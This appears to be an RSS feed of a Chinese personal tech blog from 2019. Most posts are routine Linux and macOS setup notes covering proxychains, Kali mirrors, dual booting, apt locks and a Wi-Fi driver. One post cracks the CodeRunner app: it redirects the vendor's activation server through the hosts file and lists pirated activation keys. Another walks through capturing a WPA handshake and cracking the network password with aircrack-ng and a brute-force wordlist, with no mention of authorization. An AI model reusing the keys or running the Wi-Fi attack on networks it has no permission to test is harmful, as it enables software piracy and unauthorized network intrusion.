					<span style="font-family:&quot;color:black;">0x20</span> 
				</p>
			</td>
			<td width="312" valign="top" style="border:solid #EAEAEA 1.0pt;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-family:&quot;color:black;">[space]</span> 
				</p>
			</td>
		</tr>
		<tr>
			<td width="393" valign="top" style="border:solid #EAEAEA 1.0pt;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-family:&quot;color:black;">0xd</span> 
				</p>
			</td>
			<td width="312" valign="top" style="border:solid #EAEAEA 1.0pt;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-family:&quot;color:black;">↩</span><span style="font-family:&quot;color:black;">︎</span> 
				</p>
			</td>
		</tr>
	</tbody>
</table>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; oh-my-zsh中前缀补全
</p>
<table class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse;border:none;">
	<tbody>
		<tr>
			<td width="29" valign="top" style="border:none;">
				<p class="MsoNormal" align="right" style="text-align:right;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#535353;"></span> 
				</p>
			</td>
			<td width="816" valign="top" style="border:none;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">$ git </span><span style="font-size:13.0pt;font-family:Menlo;color:#F57D46;">clone</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"> git@github.com:six-ddc/zsh-proxychains-ng.git
  ~/.oh-my-zsh/custom/plugins/zsh-proxychains-ng</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">$ </span><span style="font-size:13.0pt;font-family:Menlo;color:#F57D46;">echo</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"> </span><span style="font-size:13.0pt;font-family:Menlo;color:#89C387;">"plugins+=(zsh-proxychains-ng)"</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"> &gt;&gt; ~/.zshrc</span> 
				</p>
			</td>
		</tr>
	</tbody>
</table>
<p class="MsoNormal" align="left" style="text-align:left;">
	使用时按[ESC]-P ，自动添加(去除)proxychains4 -q命令前缀，支持 emacs 和 vi mode 。
</p>
<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-36.0pt;">
	•&nbsp;&nbsp; 通过代理SHELL实现全局代理
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	如果你还是觉得每次使用都要输入proxychains4或其别名，比较麻烦。你还可以用proxychains-ng代理一个shell，在shell中执行的命令就会自动使用代理了。
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	方法一
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	手动设置环境变量
</p>
<table class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse;border:none;">
	<tbody>
		<tr>
			<td width="29" valign="top" style="border:none;">
				<p class="MsoNormal" align="right" style="text-align:right;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#535353;"></span> 
				</p>
			</td>
			<td width="738" valign="top" style="border:none;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">$ </span><span style="font-size:13.0pt;font-family:Menlo;color:#F57D46;">export</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"> PROXYCHAINS_CONF_FILE=/usr/</span><span style="font-size:13.0pt;font-family:Menlo;color:#F57D46;">local</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">/Cellar/proxychains-ng/4.11/etc/proxychains.conf</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">$ </span><span style="font-size:13.0pt;font-family:Menlo;color:#F57D46;">export</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"> DYLD_INSERT_LIBRARIES=/usr/</span><span style="font-size:13.0pt;font-family:Menlo;color:#F57D46;">local</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">/Cellar/proxychains-ng/4.11/lib/libproxychains4.dylib</span> 
				</p>
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">$ </span><span style="font-size:13.0pt;font-family:Menlo;color:#F57D46;">export</span><span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;"> DYLD_FORCE_FLAT_NAMESPACE=1</span> 
				</p>
			</td>
		</tr>
	</tbody>
</table>
<p class="MsoNormal" align="left" style="text-align:left;">
	方法二
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	proxychains-ng直接调用SHELL
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	BASH
</p>
<table class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse;border:none;">
	<tbody>
		<tr>
			<td width="34" valign="top" style="border:none;">
				<p class="MsoNormal" align="right" style="text-align:right;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#535353;"></span> 
				</p>
			</td>
			<td width="264" valign="top" style="border:none;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">$ proxychains4<span>&nbsp; </span>-q /bin/bash</span> 
				</p>
			</td>
		</tr>
	</tbody>
</table>
<p class="MsoNormal" align="left" style="text-align:left;">
	ZSH
</p>
<table class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse;border:none;">
	<tbody>
		<tr>
			<td width="33" valign="top" style="border:none;">
				<p class="MsoNormal" align="right" style="text-align:right;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#535353;"></span> 
				</p>
			</td>
			<td width="265" valign="top" style="border:none;">
				<p class="MsoNormal" align="left" style="text-align:left;">
					<span style="font-size:13.0pt;font-family:Menlo;color:#C1C1C1;">$ proxychains4<span>&nbsp; </span>-q /bin/zsh</span> 
				</p>
			</td>
		</tr>
	</tbody>
</table>
<p class="MsoNormal" align="left" style="text-align:left;">
	这样在当前 shell 中运行的所有程序的网络请求都会走代理了。可以把上面的命令加入到用户目录的.bashrc或者.zshrc中,用户登录后自动代理一个shell,这就类似一个全局代理了。在这个SHELL下的所有命令都可以使用代理了。
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b></b> 
</p>
<p class="MsoNormal" align="left" style="text-align:left;">
	<b>参考文档</b><b></b> 
</p>
<p class="MsoNormal">
	<span></span> 
</p>
<a href="https://www.hi-linux.com/posts/48321.html">https://www.hi-linux.com/posts/48321.html</a> 
<p>
	<br />
</p>
<p class="MsoNormal">
	<span></span> 
</p>]]></description>
	<pubDate>Mon, 12 Aug 2019 04:20:38 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=72</guid>

</item>
<item>
	<title>2019 最新 Kali2.0可用国内源更新sources.list</title>
	<link>https://www.zuoer.xin/?post=71</link>
	<description><![CDATA[<p>
	leafpad /etc/apt/sources.list
</p>
<p>
<pre class="prettyprint lang-js linenums">#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
 
#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
 
#清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
 
#浙大
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
 
#东软大学
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
 
#官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
 </pre>
</p>
<p>
	<br />
</p>
<p>
	保存后之后回到命令行下执行命令：<br />
apt-get update &amp;&amp; apt-get upgrade &amp;&amp; apt-get dist-upgrade
</p>
<p>
	如果遇到错误
</p>
<p>
	E: 仓库 “http://mirrors.ustc.edu.cn/kali kali-rolling InRelease” 没有数字签名。<br />
N: 无法安全地用该源进行更新，所以默认禁用该源。<br />
N: 参见 apt-secure(8) 手册以了解仓库创建和用户配置方面的细节。
</p>
<h1>
	<a href="https://www.zuoer.xin/?post=63" rel="nofollow" data-token="f3a1942722b7656b1a7ec5f63654da5d">解决kali-linux更新源无法使用的问题（签名失效）</a>
</h1>
<p>
	apt-get clean #删除以下载的包
</p>
<p>
	reboot #重新启动
</p>
<p>
	这样应该就没问题了
</p>
<p>
	备注：<br />
apt-get常用命令:<br />
update – 取回更新的软件包列表信息<br />
upgrade – 进行一次升级<br />
install – 安装新的软件包(注：软件包名称是 libc6 而非 libc6.deb)<br />
remove – 卸载软件包<br />
purge – 卸载并清除软件包的配置<br />
autoremove – 卸载所有自动安装且不再使用的软件包<br />
dist-upgrade – 发布版升级，见 apt-get(8)<br />
dselect-upgrade – 根据 dselect 的选择来进行升级<br />
build-dep – 为源码包配置所需的编译依赖关系<br />
clean – 删除所有已下载的包文件<br />
autoclean – 删除已下载的旧包文件<br />
check – 核对以确认系统的依赖关系的完整性<br />
source – 下载源码包文件<br />
download – 下载指定的二进制包到当前目录<br />
changelog – 下载指定软件包，并显示其changelog
</p>
<p>
	保存后之后回到命令行下执行命令：<br />
apt-get update &amp;&amp; apt-get upgrade &amp;&amp; apt-get dist-upgrade
</p>
<p>
	apt-get clean #删除以下载的包
</p>
<p>
	reboot #重新启动
</p>
<p>
	这样应该就没问题了
</p>
<p>
	备注：<br />
apt-get常用命令:<br />
update – 取回更新的软件包列表信息<br />
upgrade – 进行一次升级<br />
install – 安装新的软件包(注：软件包名称是 libc6 而非 libc6.deb)<br />
remove – 卸载软件包<br />
purge – 卸载并清除软件包的配置<br />
autoremove – 卸载所有自动安装且不再使用的软件包<br />
dist-upgrade – 发布版升级，见 apt-get(8)<br />
dselect-upgrade – 根据 dselect 的选择来进行升级<br />
build-dep – 为源码包配置所需的编译依赖关系<br />
clean – 删除所有已下载的包文件<br />
autoclean – 删除已下载的旧包文件<br />
check – 核对以确认系统的依赖关系的完整性<br />
source – 下载源码包文件<br />
download – 下载指定的二进制包到当前目录
</p>
<p>
	changelog – 下载指定软件包，并显示其changelog
</p>
<p>
	<br />
</p>]]></description>
	<pubDate>Mon, 12 Aug 2019 02:07:08 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=71</guid>

</item>
<item>
	<title>rEFInd 的美化</title>
	<link>https://www.zuoer.xin/?post=70</link>
	<description><![CDATA[<p>
	<span style="font-size:32px;"><br />
</span>
</p>
<p>
	<span style="font-size:32px;">我的分享到github：</span>
</p>
<p>
	<a href="https://github.com/zuoer666/rEFInd-minimal"><span style="font-size:32px;">https://github.com/zuoer666/rEFInd-minimal</span></a>
</p>]]></description>
	<pubDate>Mon, 12 Aug 2019 00:42:11 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=70</guid>

</item>
<item>
	<title>CodeRunner破解</title>
	<link>https://www.zuoer.xin/?post=69</link>
	<description><![CDATA[<h1 class="title-article" style="box-sizing:inherit;outline:0px;margin:0.67em 0px;padding:0px;font-size:24px;font-family:&quot;overflow-wrap:break-word;color:rgba(0, 0, 0, 0.75);font-variant-ligatures:common-ligatures;white-space:normal;background-color:#FFFFFF;">
	<span style="font-weight:normal;">1.官网下载并安装 <a href="http://coderunnerapp.com" target="_blank">传送门</a></span> 
</h1>
<h1 class="title-article" style="box-sizing:inherit;outline:0px;margin:0.67em 0px;padding:0px;font-size:24px;font-family:&quot;overflow-wrap:break-word;color:rgba(0, 0, 0, 0.75);font-variant-ligatures:common-ligatures;white-space:normal;background-color:#FFFFFF;">
	<span style="font-weight:normal;">2.修改</span>/private/etc/hosts 末尾添加：
</h1>
<p>
	<br />
</p>
<pre class="prettyprint lang-bsh linenums">127.0.0.1	coderunnerapp.com</pre>
<p>
	<br />
</p>
<h1 class="title-article" style="box-sizing:inherit;outline:0px;margin:0.67em 0px;padding:0px;font-size:24px;font-family:&quot;overflow-wrap:break-word;color:rgba(0, 0, 0, 0.75);font-variant-ligatures:common-ligatures;white-space:normal;background-color:#FFFFFF;">
	<span style="font-weight:normal;">3.输入激活码</span> 
</h1>
<p>
	<span style="font-weight:normal;"> </span> 
</p>
<pre class="prettyprint lang-bsh linenums">AEAAA-AFHOO-4F7KD-TXBPQ
AEAAA-AGPM4-B7DUD-HAPYQ
AEAAA-AG7YC-CZLYG-AQWKQ
AEAAA-ADXG3-2EW6B-W6RFQ
AEAAA-ACHQF-SUGSE-BMVBQ</pre>
<br />
<p>
	<br />
</p>]]></description>
	<pubDate>Sun, 11 Aug 2019 23:54:05 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=69</guid>

</item>
<item>
	<title>mac 安装kali 双系统</title>
	<link>https://www.zuoer.xin/?post=67</link>
	<description><![CDATA[<p>
	&nbsp;
</p>
<h1 id="准备">
	准备
</h1>
<div>
	<ol>
		<li>
			<span style="font-size:18px;">格式化U盘一个，作为引导盘</span> 
		</li>
		<li>
			<span style="font-size:18px;">下载kali镜像 </span><a href="https://www.kali.org/downloads/" target="_blank"><span style="font-size:18px;">传送门</span></a> 
		</li>
	</ol>
<br />
</div>
<p>
	<span style="font-size:18px;">1. </span><strong><span style="font-size:18px;">安装rEFind</span></strong> 
</p>
<a href="http://www.rodsbooks.com/refind/getting.html" rel="nofollow" target="_blank" data-token="5bb69f622e64897492d360043ea9f74d"><span style="font-size:18px;">下载地址</span></a> <br />
<span style="font-size:18px;"> 选择二进制版本：A binary zip fine</span> 
<p>
	<br />
</p>
<h3 id="打开下载后的压缩包-refind-bin-0108">
	<span style="font-size:18px;">打开下载后的压缩包 refind-bin-0.10.8</span> 
</h3>
<p>
	<span style="font-size:18px;">运行其中的refind-install和refind-mkdefault(linux安装mac不安装)两个文件即完成安装</span> 
</p>
<h2 id="2-格式化u盘硬盘分区">
	2. <strong>格式化U盘，硬盘分区</strong> 
</h2>
<p>
	<span style="font-size:18px;">打开磁盘管理工具，将U盘格式化，点击“抹掉”，文件格式选MS-DOS(FAT)，方案选择GUID，然后确认即可； </span><br />
<span style="font-size:18px;"> 然后分割一部分内置硬盘给kali<span style="font-size:18px;">，文件格式选MS-DOS(FAT)</span>，例如20G、50G</span> 
</p>
<h2 id="3-将iso转为dmg并写入u盘">
	3. <strong>将iso转为dmg并写入U盘</strong> 
</h2>
<p>
	<span style="font-size:18px;">打开terminal，cd到iso所在文件夹，依次输入：</span> 
</p>
<p>
	<span style="font-size:18px;"></span> 
</p>
<pre class="prettyprint lang-js linenums">1. 把下载好的kali安装文件转为dmg
hdiutil convert ./kali.iso -format UDRW -o ./kali.dmg

2.查找U盘序号
diskutil list #跟据空间大小 找到刚才的up序号
我的环境里是 disk2

3.Unmount U盘
diskutil unmountDisk /dev/disk2

4.制作启动盘
sudo dd if=ubuntu.dmg of=/dev/rdisk2 bs=2m rdisk9 即对应上一步查到的编号 disk2。
注意：
有的教程里是使用 disk 而非 rdisk ：
sudo dd if=ubuntu.dmg of=/dev/disk2 bs=2m
作用是一样的，但是 disk 会比 rdisk 慢很多，原因详见https://daoyuan.li/solution-dd-too-slow-on-mac-os-x/ 

5.diskutil eject /dev/disk2（这一步推出U盘）
</pre>
<p>
	<span style="font-size:18px;">重启开始安装</span> 
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	参考安装：
</p>
<p>
	<a href="https://zhuanlan.zhihu.com/p/33811068">https://zhuanlan.zhihu.com/p/33811068</a> 
</p>
<p>
	<a href="https://blog.csdn.net/Mengwei_Ren/article/details/73920377">https://blog.csdn.net/Mengwei_Ren/article/details/73920377</a> 
</p>
<p>
	参考驱动
</p>
<p>
	<a href="https://github.com/Dunedan/mbp-2016-linux" target="_blank">https://github.com/Dunedan/mbp-2016-linux</a> 
</p>
<p>
	<br />
</p>]]></description>
	<pubDate>Sat, 10 Aug 2019 18:42:40 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=67</guid>

</item>
<item>
	<title>E: Could not get lock /var/lib/dpkg/lock-frontend - open (11: Resource temporarily unavailable) [duplicate]</title>
	<link>https://www.zuoer.xin/?post=66</link>
	<description><![CDATA[<p class="MsoNormal">
	<span></span>
</p>
<p class="MsoNormal">
	<p>
		<br />
	</p>
	<p>
		This may happen if
	</p>
	<p>
		'Synaptic Package Manager' or 'Software Updater' is open.
	</p>
	<p>
		Some apt command is running in Terminal.
	</p>
	<p>
		Some apt process is running in background.
	</p>
	<p>
		For above wait for the process to complete. If this does not happen run in terminal:
	</p>
	<p>
		<br />
	</p>
	<p>
		sudo killall apt apt-get
	</p>
	<p>
		<br />
	</p>
	<p>
		If none of the above works, remove the lock files. Run in terminal:
	</p>
	<p>
		<br />
	</p>
	<p>
		sudo rm /var/lib/apt/lists/lock
	</p>
	<p>
		sudo rm /var/cache/apt/archives/lock
	</p>
	<p>
		sudo rm /var/lib/dpkg/lock*
	</p>
	<p>
		<br />
	</p>
	<p>
		then reconfigure the packages. Run in terminal:
	</p>
	<p>
		sudo dpkg --configure -a
	</p>
	<p>
		and
	</p>
	<p>
		sudo apt update
	</p>
	<p>
		<br />
	</p>
	<p>
		That should do the job.
	</p>
	<p>
		<br />
	</p>
</p>]]></description>
	<pubDate>Fri, 09 Aug 2019 19:36:52 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=66</guid>

</item>
<item>
	<title>kali 安装TP-LINK TL-WN725N V2 / rtl8188eu</title>
	<link>https://www.zuoer.xin/?post=65</link>
	<description><![CDATA[<p>
	1.
</p>
<p>
	<br />
</p>
<p>
	apt-get update &amp;&amp; apt-get upgrade
</p>
<p>
	<br />
</p>
<p>
	apt-cache search linux-image
</p>
<p>
	<br />
</p>
<p>
	然后使用相同的版本搜索最新的&nbsp;linux-image和linux-source软件包。在我的情况下输出是
</p>
<p>
	<br />
</p>
<p>
	linux-headers-4.17.0-kali1-amd64 - Header files for Linux 4.17.0-kali1-amd64
</p>
<p>
	linux-headers-4.17.0-kali1-cloud-amd64 - Header files for Linux 4.17.0-kali1-cloud-amd64
</p>
<p>
	linux-image-4.17.0-kali1-amd64 - Linux 4.17 for 64-bit PCs
</p>
<p>
	linux-image-4.17.0-kali1-amd64-dbg - Debug symbols for linux-image-4.17.0-kali1-amd64
</p>
<p>
	...
</p>
<p>
	所以我刚刚安装了最新版本：
</p>
<p>
	<br />
</p>
<p>
	apt-get install linux-headers-4.17.0-kali1-amd64 linux-image-4.17.0-kali1-amd64 -y
</p>
<p>
	reboot
</p>
<p>
	2.reboot
</p>
<p>
	<br />
</p>
<p>
	3.apt-get install gcc linux-headers-`uname -r` make automake git
</p>
<p>
	<br />
</p>
<p>
	4.https://github.com/lwfinger/rtl8188eu
</p>
<p>
	<br />
</p>
<p>
	unzip&nbsp;rtl8188eu-master.zip
</p>
<p>
	<br />
</p>
<p>
	cd rtl818...
</p>
<p>
	<br />
</p>
<p>
	make &amp;&amp; make install
</p>
<p>
	<br />
</p>
<p>
	接下来
</p>
<p>
	<br />
</p>
<p>
	depmod -a
</p>
<p>
	<br />
</p>
<p>
	modprobe 8188eu&nbsp;
</p>
<p>
	<br />
</p>
<p>
	ifconfig -a
</p>
<p>
	<br />
</p>
<p>
	wlan0 &nbsp; &nbsp; Link encap:Ethernet &nbsp;HWaddr 0c:88:77:22:fa:39 &nbsp;
</p>
<p>
	&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; UP BROADCAST MULTICAST &nbsp;MTU:1500 &nbsp;Metric:1
</p>
<p>
	&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RX packets:0 errors:0 dropped:0 overruns:0 frame:0
</p>
<p>
	&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
</p>
<p>
	&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; collisions:0 txqueuelen:1000&nbsp;
</p>
<p>
	&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RX bytes:0 (0.0 B) &nbsp;TX bytes:0 (0.0 B)
</p>
<p>
	<br />
</p>
<p>
	这个时候系统已经装好无线驱动了。用网络管理软件or /etc/network/interfaces 里面都可以配置。
</p>]]></description>
	<pubDate>Fri, 09 Aug 2019 15:01:00 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=65</guid>

</item>
<item>
	<title>react-native 笔记</title>
	<link>https://www.zuoer.xin/?post=64</link>
	<description><![CDATA[<p>
	1.创建项目：react-native init test
</p>
<p>
	<br />
</p>
<p>
	2.react-native run-ios 打开模拟器
</p>
<p>
	<br />
</p>
<p>
	3.react 调试
</p>
<p>
	<br />
</p>
<p>
	Install the&nbsp;react-devtools&nbsp;package globally:
</p>
<p>
	<br />
</p>
<p>
	with yarn:
</p>
<p>
	<br />
</p>
<p>
	yarn global add react-devtools
</p>
<p>
	or with npm:
</p>
<p>
	<br />
</p>
<p>
	npm install -g react-devtools
</p>
<p>
	Now run&nbsp;react-devtools&nbsp;from the terminal to launch the standalone DevTools app:
</p>
<p>
	<br />
</p>
<p>
	react-devtools
</p>
<p>
	If you're not in a simulator then you also need to run the following in a command prompt:
</p>
<p>
	<br />
</p>
<p>
	adb reverse tcp:8097 tcp:8097
</p>
<p>
	--------------
</p>
<p>
	好 放弃去考研了
</p>]]></description>
	<pubDate>Fri, 09 Aug 2019 14:52:46 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=64</guid>

</item>
<item>
	<title>kali linux 无法安全地用该源进行更新，所以默认禁用该源。</title>
	<link>https://www.zuoer.xin/?post=63</link>
	<description><![CDATA[E: 仓库 “http://mirrors.ustc.edu.cn/kali kali-rolling InRelease” 没有数字签名。<br />
N: 无法安全地用该源进行更新，所以默认禁用该源。<br />
N: 参见 apt-secure(8) 手册以了解仓库创建和用户配置方面的细节。<br />
<p>
	<br />
</p>
<p>
	<span style="font-size:32px;">解决办法</span> 
</p>
<p>
	<span style="color:#4D4D4D;font-family:&quot;font-size:14px;white-space:normal;background-color:#FFFFFF;">换签名 apt-key adv --keyserver hkp://keys.gnupg.net --recv-keys 7D8D0BF6</span> 
</p>]]></description>
	<pubDate>Fri, 09 Aug 2019 13:19:06 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=63</guid>

</item>
<item>
	<title>aircrack-ng使用方法（mac低效率版）建议看linux版</title>
	<link>https://www.zuoer.xin/?post=62</link>
	<description><![CDATA[<p>
	<span style="font-size:24px;">一、下载</span> 
</p>
<p>
	下载地址:&nbsp;<a href="https://www.macports.org/install.php" target="_blank">https://www.macports.org/install.php</a> 
</p>
<p>
	安装
</p>
<p>
	sudo port -v selfupdate
</p>
<p>
	sudo port install aircrack-ng
</p>
<p>
	<br />
</p>
<p>
	建个软连接
</p>
<p>
	sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
</p>
<br />
<p>
	<br />
</p>
<p>
	<span style="font-size:24px;">二、使用</span> 
</p>
<p>
	查看所有无线网络
</p>
<p>
	airport -s
</p>
<p>
	抓包
</p>
<p>
	<br />
</p>
<p>
	sudo airport en0(网卡) sniff 6(信道)
</p>
<p>
	缺点需要等有人用正确密码连接这个wifi（让其断网 airport安装的<span style="white-space:normal;">&nbsp;aircrack-ng 没有<span style="color:#24292E;font-family:SFMono-Regular, Consolas, &quot;font-size:13.6px;white-space:normal;background-color:rgba(27, 31, 35, 0.05);">airmon-ng</span></span>）建议看linux版
</p>
<p>
	<br />
</p>
<p>
	cap包文件自动保存在/tmp
</p>
<p style="text-indent:2em;">
	&nbsp;&nbsp;&nbsp;&nbsp;
</p>
<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201908/12471565351187.png" id="ematt:108"><img src="https://www.zuoer.xin/content/uploadfile/201908/thum-12471565351187.png" title="点击查看原图" alt="QQ20190809-194601@2x.png" width="420" height="149" border="0" /></a> 
<p style="text-indent:2em;">
	<br />
</p>
<p style="text-indent:2em;">
	准备自动开始破解
</p>
<p style="box-sizing:border-box;overflow:auto;font-family:Menlo, Monaco, Consolas, &quot;font-size:13px;padding:15px;margin-top:0px;margin-bottom:20px;line-height:1.42857;overflow-wrap:normal;color:#ABB2BF;background:#282C34;border:1px solid #CCCCCC;border-radius:4px;word-break:break-word !important;text-indent:2em;">
	<a href="https://github.com/rootphantomer/Blasting_dictionary" target="_blank"><code class="cpp" style="box-sizing:border-box;font-family:Menlo, Monaco, Consolas, &quot;color:inherit;background-color:transparent;border-radius:0px;padding:0px;border:none;vertical-align:middle;">https:<span class="hljs-comment" style="box-sizing:border-box;color:#929292;">//github.com/rootphantomer/Blasting_dictionary</span></code></a> 
</p>
<p style="box-sizing:border-box;overflow:auto;font-family:Menlo, Monaco, Consolas, &quot;font-size:13px;padding:15px;margin-top:0px;margin-bottom:20px;line-height:1.42857;overflow-wrap:normal;color:#ABB2BF;background:#282C34;border:1px solid #CCCCCC;border-radius:4px;word-break:break-word !important;text-indent:2em;">
	<br />
</p>
<p style="box-sizing:border-box;overflow:auto;font-family:Menlo, Monaco, Consolas, &quot;font-size:13px;padding:15px;margin-top:0px;margin-bottom:20px;line-height:1.42857;overflow-wrap:normal;color:#ABB2BF;background:#282C34;border:1px solid #CCCCCC;border-radius:4px;word-break:break-word !important;text-indent:2em;">
	开始破解
</p>
<p style="box-sizing:border-box;overflow:auto;font-family:Menlo, Monaco, Consolas, &quot;font-size:13px;padding:15px;margin-top:0px;margin-bottom:20px;line-height:1.42857;overflow-wrap:normal;color:#ABB2BF;background:#282C34;border:1px solid #CCCCCC;border-radius:4px;word-break:break-word !important;text-indent:2em;">
	aircrack-ng -w common.txt&nbsp; airportSniffoX8GgK.cap
</p>
<p style="box-sizing:border-box;overflow:auto;font-family:Menlo, Monaco, Consolas, &quot;font-size:13px;padding:15px;margin-top:0px;margin-bottom:20px;line-height:1.42857;overflow-wrap:normal;color:#ABB2BF;background:#282C34;border:1px solid #CCCCCC;border-radius:4px;word-break:break-word !important;text-indent:2em;">
	备注（失误 复制错误了 不好意思）
</p>
<p style="text-indent:2em;">
	<br />
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201908/cca61565352129.png" id="ematt:110"><img src="https://www.zuoer.xin/content/uploadfile/201908/thum-cca61565352129.png" title="点击查看原图" alt="QQ20190809-200145@2x.png" width="420" height="186" border="0" /></a> 
</p>
<p style="text-indent:2em;">
	找到&nbsp;Encryption 有&nbsp;<span style="color:#2F2F2F;font-family:-apple-system, &quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">(1 handshake) </span> 
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201908/ad981565352345.png" id="ematt:114"><img src="https://www.zuoer.xin/content/uploadfile/201908/thum-ad981565352345.png" title="点击查看原图" alt="QQ20190809-200417@2x.png" width="420" height="148" border="0" /></a> 
</p>
<p style="text-indent:2em;">
	然后输入149
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201908/58cf1565352495.png" id="ematt:116"><img src="https://www.zuoer.xin/content/uploadfile/201908/thum-58cf1565352495.png" title="点击查看原图" alt="QQ20190809-200749@2x.png" width="420" height="144" border="0" /></a> 
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201908/40241565352644.png" id="ematt:118"><img src="https://www.zuoer.xin/content/uploadfile/201908/thum-40241565352644.png" title="点击查看原图" alt="QQ20190809-200903@2x.png" width="420" height="208" border="0" /></a> 
</p>
<p style="text-indent:2em;">
	密码是上图里的 qqqqqqqqq&nbsp;&nbsp;
</p>
<p style="text-indent:2em;">
	<br />
</p>]]></description>
	<pubDate>Fri, 09 Aug 2019 11:28:40 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=62</guid>

</item>
<item>
	<title>Quantumult看TikTok视频+直播+无水印下载</title>
	<link>https://www.zuoer.xin/?post=61</link>
	<description><![CDATA[<h3 style="white-space:normal;box-sizing:border-box;margin-bottom:16px;margin-top:24px;font-size:1.25em;line-height:1.25;caret-color:#24292E;color:#24292E;font-family:-apple-system, BlinkMacSystemFont, &quot;-webkit-text-size-adjust:100%;">
	转自：
	<p style="margin-top:0px;margin-bottom:0px;font-stretch:normal;line-height:normal;font-family:Helvetica;">
		https://github.com/cyubuchen/TikTok_Unlock/blob/master/README.md
	</p>
</h3>
<h3 style="white-space:normal;box-sizing:border-box;margin-bottom:16px;margin-top:24px;font-size:1.25em;line-height:1.25;caret-color:#24292E;color:#24292E;font-family:-apple-system, BlinkMacSystemFont, &quot;-webkit-text-size-adjust:100%;">
	支持功能:
</h3>
<hr style="font-size:16px;white-space:normal;box-sizing:content-box;height:0.25em;overflow:hidden;background-color:#E1E4E8;border:0px;margin:24px 0px;padding:0px;caret-color:#24292E;color:#24292E;font-family:-apple-system, BlinkMacSystemFont, &quot;-webkit-text-size-adjust:100%;" />
<ul class="contains-task-list" style="font-size:16px;white-space:normal;box-sizing:border-box;margin-bottom:16px;margin-top:0px;padding-left:2em;caret-color:#24292E;color:#24292E;font-family:-apple-system, BlinkMacSystemFont, &quot;-webkit-text-size-adjust:100%;">
